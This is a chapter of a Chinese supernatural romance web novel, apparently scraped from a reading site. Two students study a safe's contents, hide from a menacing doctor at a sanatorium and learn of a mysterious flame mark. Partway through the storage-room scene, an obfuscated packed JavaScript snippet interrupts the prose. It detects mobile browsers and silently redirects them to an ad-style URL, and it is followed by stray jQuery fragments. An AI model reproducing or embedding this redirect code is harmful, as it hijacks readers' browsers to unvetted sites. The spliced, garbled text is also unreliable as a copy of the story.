默认冷灰
24号文字
方正启体

20. 火焰印记

作者:文行简本书字数:K更新时间:
    返程中暴雨拍打着出租车车窗。


    贺凡真的衬衫领口松了两颗纽扣,锁骨处的血痕在路灯下泛着莹光,那是他制服失控的秦峥时被抓伤的。


    “你要不也去医院看看伤口?不会传染吧?”


    林夏递给他纸巾,贺凡真没接。


    “伤在哪?我看不清。”


    林夏愣了两秒,侧身帮他小心地清理干净伤口。


    “你觉得秦老师和周幼仪一样,都是被寄生的吗?”


    刚才群里收到了李昊发来的周幼仪的体检报告,并没有发现任何的异常。


    “不一样。”


    贺凡真盯着林夏的右眼,嘴角含笑,声音温柔。


    他这个样子,让林夏脸颊发热。


    “怎么不一样?”


    “一个致命,一个牵制。”


    贺凡真将她手里揉成一团的餐巾纸拿过来,装到了口袋里。


    出租车司机从后视镜里看了看俩人,现在长得这么好看的学生不常见。不过讨论的寄生啊、致命啊,怎么听起来像是电视剧。


    有陌生人在,林夏也不方便与贺凡真谈论太深。


    她从包里掏出小小的保险箱,研究起密码锁。


    但是密码组合有太多可能性,如果一个个试不知道要试验到何时。


    一双修长的手擦着林夏的耳畔伸了过来。


    贺凡真拨弄了几个数字就轻松地将密码锁打开。


    他的姿势像是将林夏揽入怀中一般,林夏却没有心思注意到这些。


    她惊讶的是贺凡真怎么知道解锁的数字。


    “观察上面的指纹痕迹。”


    好吧,林夏服了,她自己左看右看,反正是看不见上面的指纹有何区别。


    林夏打开密码箱,发丝扫过纸页的沙沙声在密闭空间格外清晰。


    箱里有1937年的慈安堂捐资名录、优盘、关于杨虹的日记、还有一张照片——在慈安堂的门口,有贺明远、贺明华、贺凤霞,还有一个中年戴着圆圆眼睛的人,依稀和楚明河有些相似,最边上的人竟然长得有些像左倩。那照片上的女生约莫二十岁的年纪,扎着两个麻花辫,在林夏翻看照片背面的名字注释时,照片上人的眼睛竟然随着林夏的动作转了个角度。


    林夏包里的木偶震动,贺凡真的手指捏住了照片的一角,恰恰按在了那女生的眼上。


    无声的嘶鸣声响起,整个车里的温度都降了几度。


    “楚诚新、秦檀儿……”


    贺凡真道:“怎么了?”


    “秦檀儿,这名字好耳熟啊。”林夏偏头细想,轻声啊了声,“是李锦绣在地窖里要献祭的人,郑书的表姐。可她怎么长得像左倩……”


    “冷吗?”贺凡真忽然让司机调高空调温度,指尖无意擦过沉思的林夏的手背。


    林夏触电般缩回手的瞬间,车载广播突然杂音大作,1937年的老歌混着海浪声流淌而出。


    “这是楚家疗养院的频率。”贺凡真皱眉让司机切换频道,他眼底翻涌起暗潮,“明天陪我去个地方?”


    未等回答,急刹声刺破雨幕。林夏因惯性前倾,安全带勒疼肩颈的刹那,贺凡真的手掌垫在了她的锁骨处。


    “哎,不好意思,不好意思!刚才好像有个穿红裙子的女生站在前面,哎,怎么没人,估计是雨大我看错了。”司机师傅抱歉连连。


    俩人在前面的咖啡馆停了车。


    李昊和周幼仪约了她(他)们在那里见面。


    咖啡馆的拿铁拉花是个歪扭的爱心。林夏用银匙搅散泡沫时,贺凡真忽然伸手抹去她嘴角奶渍:“沾到了。”他的拇指在唇畔停留半秒,木偶胸膛的裂纹里蔓延出无形的丝线缠住了他的指尖。


    林夏飞快地动手擦嘴。


    “契约里的‘贺’字......”林夏慌忙转移话题,耳尖泛红,“是你曾祖父?”


    贺凡真凝视着她的耳尖,轻笑道:“我父亲生前一直戴着这枚腕表,听说曾祖父也是。”他将潜水表解下戴在林夏腕间,齿轮咬合声像某种古老誓言,“现在它该保护更重要的人。”


    “这……太贵重了,我不能收!”林夏听此,赶紧将老式潜水手表摘下还给了贺凡真。


    “看来你更喜欢红绳。”贺凡真笑着拨弄了下她腕间红绳上的小海螺。


    “嘿,林夏。”李昊和周幼仪从门口边进来边挥手。


    周幼仪看起来气色好了很多,有可能是体检给了她信心。


    “赶紧劝劝小哭包,她还要去楚明河那。这不是找死吗?”


    李昊扫描二维码,点了杯卡布奇诺给周幼仪,自己则要了杯拿铁。


    “幼仪,秦老师也出现了寄生的现象,楚明河很危险。”


    “我知道,可是他又威胁我爸爸了。”周幼仪泫然欲泣。


    “把这个带着。”林夏把奶奶之前给她的护身符从包里拿出,递给了周幼仪,“我们悄悄跟着你一起去,一旦发现危险,你就拨通李昊的电话,我们会在外面制造混乱,你趁机赶紧跑。”


    “谢谢你们。”周幼仪感激地握林夏的手,贺凡真适时地伸手到林夏旁边拿纸巾,挡住了周幼仪。


    “手机拿来。”贺凡真突然对周幼仪示意,“摁录音键。”


    李昊一阵狐疑,不知道这家伙要干什么。


    林夏却觉得他是要帮周幼仪,忙让周幼仪赶紧拿手机。


    贺凡真对着录音处扭动潜水手表的指针,录好后,李昊点回放,根本听不到任何声音。


    “喂,你这是临死打哈欠——白忙活啊!”


    贺凡真收回手表:“危险的时候,播放这段录音。”


    “好、好的。”周幼仪心里也和李昊一个想法,但是看贺凡真和林夏一脸郑重,忙认真地点了点头。


    尾号666的宾利车停在了咖啡馆门口,周幼仪捏紧拳头,过了有五分钟才鼓足勇气上了车。


    云山疗养院。


    周幼仪已经进去有一个小时。


    贺凡真将林夏困在门厅阴影里,李昊则躲在两人的后面,等的分外焦急。


    警报器骤然炸响。


    医护人员的安抚声和病人的吵闹声不绝于耳。


    林夏被贺凡真拽着往一处拐弯处跑,闪身躲进了储物间,狭小空间里两人的呼吸纠缠不清。贺凡真用手背替她挡住坠落的扫帚,小臂肌肉绷出凌厉线条。透过门缝的光斑在他睫毛上跳跃,林夏突然发现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185505|164699||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他鼻梁上的小红色痣有点加深。


    “别动。”他的喉结滑动,嗓音暗哑。


    温热手掌覆住她想要开门的手,十指相扣的瞬间,走廊传来楚明河癫狂的哼唱声。


    贺凡真的掌心沁着薄汗,林夏能清晰感受到他脉搏的跳动频率。储物间的霉味混着他身上淡淡的檀香味气息,在鼻端交织成令人眩晕的漩涡。楚明河的脚步声黏腻如章鱼触须滑过地板,哼唱的《天鹅湖》突然变调——


    “找到你了,小瞎子。”


    门把手骤然转动。


    贺凡真突然将林夏拉进怀里,校服外套罩住她的头。黑暗中他喉结擦过她额头,低语的气流掀起鬓边碎发:“呼吸放轻。”林夏的睫毛扫过他锁骨处的血痂,那里正渗出檀木味的血迹。


    “砰!”


    楚明河的拳头砸在门上,癫笑震得置物架簌簌发抖。林夏的指尖无意识掐进贺凡真腰侧,他肌肉骤然绷紧,闷哼声淹没在近在咫尺的狂笑里。


    “我知道你在里面。”门缝隙探入半截手术刀,寒光掠过林夏腕间红绳,“你的小男友身上,有我很熟悉的味道......”


    贺凡真突然贴近她的耳垂。


    湿热触感惊得林夏一颤,尚未挣扎便听见耳语:“配合我。”他带着她的手抚上自己后颈,那里不知何时浮现出火焰纹身。楚明河的狂笑戛然而止,手术刀“当啷”落地。


    “不可能......你怎么会有这个印记!”脚步声仓皇退去。


    逼仄空间重归寂静时,林夏才发现自己整个人嵌在贺凡真怀里。他垂眸凝视她凌乱的发顶,喉间溢出声轻笑:“刚才的演技,够拿金鸡奖吗?”


    木偶在塑料盒子中发出轻响,贺凡真垂首时,他的影子终于触到林夏的。


    “啊啊啊,她脸红了,好可爱,好想……”


    无数的黑影在影子里欢欣鼓舞、扭曲狂叫,又在贺凡真的瞪视中噤声。


    “林夏,贺凡真,我和周幼仪在大门口,你们在哪?”


    群里发来李昊的语音。


    “楚明河那个神经病不知道怎么回事,突然跑了,小哭包说他今晚上没有碰她一根手指,还答应了帮助她爸爸。”


    回去的车上,李昊对这点百思不得其解。


    “林夏,你说那神经病是藏了什么后手吗?总不至于是突然发了慈悲心吧!”


    “兵来将挡水来土掩。”


    林夏的心思还沉浸在储物间里,楚明河那句印记是什么意思?贺凡真为什么让她的手摸自己的脖颈?可是那里现在什么也没有啊!


    林夏扭头看贺凡真,靠着窗户的他正闭目养神,车窗玻璃上映出他安静俊美的脸。


    清幽的茉莉花香味随着雨后的清风吹拂到鼻端。


    “贺凡真。”林夏小声叫他的名字。


    贺凡真没有反应。


    林夏的手指伸向他的鼻翼,那里的红色小痣有些浅淡。


    “别碰我。”


    林夏的手指被弹飞,贺凡真悠悠睁开眼睛。


    周幼仪的电话响起。


    “幼仪,你赶紧来医院,你妈妈她一直呕吐……”手机里周幼仪父亲周洪昌的声音颤抖不止,“一直吐珍珠!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)